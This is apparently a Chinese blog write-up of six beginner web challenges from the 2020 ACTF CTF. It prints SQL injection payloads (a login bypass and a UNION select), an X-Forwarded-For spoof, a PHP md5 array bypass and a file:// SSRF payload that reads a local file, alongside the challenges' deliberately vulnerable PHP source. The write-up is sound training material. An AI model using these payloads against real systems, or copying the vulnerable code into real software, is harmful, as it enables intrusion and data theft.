2020 ACTF Week1 Web

2

新生赛,赛题比较简单,一共要打两个礼拜,下周的题估计要难一些。

比赛地址(平台做得很漂亮啊)

UNIVERSAL_SQL

  • tags:信息搜集、SQL MD5 注入
  • 难度:简单
  • 分值:100

题目提示万能密码,但是啥也莫得,一开始瞎打了半天,以为巨难,就没做。

后来 burp 看到了源码里有个

<a href='index.txt'></a>

里面有 sql 语句,直接查看

$username = $_POST[username];
$passwd = md5($_POST[passwd]);
$sql = "select username from users where (username='$username') and (pw='$passwd')";

由于 passwd 被 md5 了,因此只能把 username 当做注入点,注释掉之后的 passwd,构造 payload:

username=') or 1#&amp;passwd=1

茶颜悦色

  • tags:脚本编写
  • 难度:简单
  • 分值:100
  • 网址

网站是个卖茶叶的 2333,查看源码,发现要找一种叫 幽兰拿铁 的饮料,写脚本直接获取就行。

# natie.py
# Author : imagin

from requests import *
s = session()
for i in range(1000):
	a = s.get("http://47.106.94.13:40004/?page=" + f"{i}")
	# print(a.text[1000:])	
	if "幽兰拿铁" in a.text[1000:]:
		print(i)
		break

然后发现拿铁在 986 页,直接获取即可

这个题有点坑,他网页上的翻页按钮都是假的,所以我像个铁憨憨以为就没有翻页这回事儿,脚本里就一直刷新获取内容。抓了一万多次发现还没抓到才觉得有些不对,然后才发现?page (•́へ•́╬),这个题跟国赛应援蔡徐坤挺像的。

BABYSQL

  • tags:SQL注入
  • 难度:简单
  • 分值:100
  • 网址

打开网站,明显的 SQL 注入。

都告诉 flag 在哪儿了,直接 union select 即可。payload:

id=' union select 1,2,flag from flag#

EASYHTTP

  • tags:http协议
  • 难度:简单
  • 分值:200
  • 网址

打开网站,需要提交一堆东西,下面给了对应的值,直接复制提交即可。

改了半天 header,最后发现这么简单 (╯‵□′)╯︵┻━┻

提交后 302 到下一个页面,按照要求构造请求即可

最后需要伪造 ip,构造 xff 为 127.0.0.1 即可

EASYPHP

  • tags:php feature
  • 难度:简单
  • 分值:200
  • 网址

打开网站直接给源码

<?php
error_reporting(0);
include_once "flag.php";
show_source(__FILE__);

session_start();


if(!isset($_POST['key'])) {
    die("not allow!");
}

if($_POST['key'] != $_SESSION['key']) {
    die("Wrong key!");
}

if(isset($_GET['username']) &amp;&amp; isset($_GET['password'])) {
    if($_GET['username'] == $_GET['password']) {
        die("Your password can not be your username!");
    }
    if(md5($_GET['username']) === md5($_GET['password'])) {
        echo $flag;
    }
}

首先要绕过 session,首先想到把 session 和 key 都置空,但是不知道是故意的还是出题人的失误,访问的时候没有 sessionid,所以直接传一个空的 key 就可以了。

POST key=

之后要绕过一个 md5 限制,直接传两个数组就可,具体原理可以在这篇文章搜索Easy_md5 查看。

EASY_WEB

  • tags:信息搜集、ssrf
  • 难度:简单
  • 分值:200
  • 网址

打开网址啥都没有,源代码有一个 Nzc3Nzc3MmU2MjYxNmI=heiheihei。base64 解码之后再 hex 转 ascii,可以得到 www.bak,访问之下载下来一个文件,winhex 打开发现 PK 开头改成 zip 后缀名,解压即可得到源码。

压缩包里有一个 hint

flag in server /flag

源码:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>找找hint吧</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
    <p>这里什么也没有噢!</p>
    <!--Nzc3Nzc3MmU2MjYxNmI=heiheihei-->
</body>
<?php
//学习一下如何利用下面的代码?
//请不要用来做"越界"的操作
error_reporting(0);
function curl($url){  
    // 创建一个新cURL资源
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它传递给浏览器
    curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);
}

$url = $_GET['url'];
curl($url); 
?>
</html>

稍微看一下源码得知需要用 curl 获取到 flag,而根据 hint 提示 flag 在根目录,用 http 协议访问不到,这时就要构造 file 协议的 ssrf 读取本地文件。payload:

http://47.106.94.13:40003/?url=file://localhost/flag

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.